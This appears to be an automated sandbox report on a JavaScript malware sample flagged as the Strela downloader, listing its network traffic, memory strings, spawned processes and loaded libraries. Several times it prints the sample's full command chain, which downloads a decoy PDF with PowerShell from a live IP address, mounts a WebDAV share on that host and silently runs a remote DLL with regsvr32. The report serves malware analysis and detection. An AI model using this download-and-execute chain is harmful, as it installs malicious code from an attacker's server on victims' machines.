Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49738

Source: global traffic

TCP traffic: 192.168.2.10:49738 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.10:61605 -> 1.1.1.1:53

Source: Joe Sandbox View	IP Address: 193.143.1.205 193.143.1.205
Source: Joe Sandbox View	IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.10:49722 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1299010477.00000240E6E86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1364902579.000001E45EB7A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1364834232.000001E45EB50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/c)
Source: net.exe, 00000007.00000002.1364902579.000001E45EB6D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1360210854.000001E45EB6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/n
Source: net.exe, 00000007.00000002.1364834232.000001E45EB50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: svchost.exe, 00000009.00000002.2591756037.0000017EE3200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F8008506.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1358338193.0000017EE3400000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7256, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16205296055633.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16205296055633.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 155442583088718889.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/60@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7572:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jygszu31.w1y.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 155442583088718889.js

Virustotal: Detection: 11%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\155442583088718889.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16205296055633.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2084 --field-trial-handle=1692,i,16768709405715443152,9912022555520268978,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16205296055633.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2084 --field-trial-handle=1692,i,16768709405715443152,9912022555520268978,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
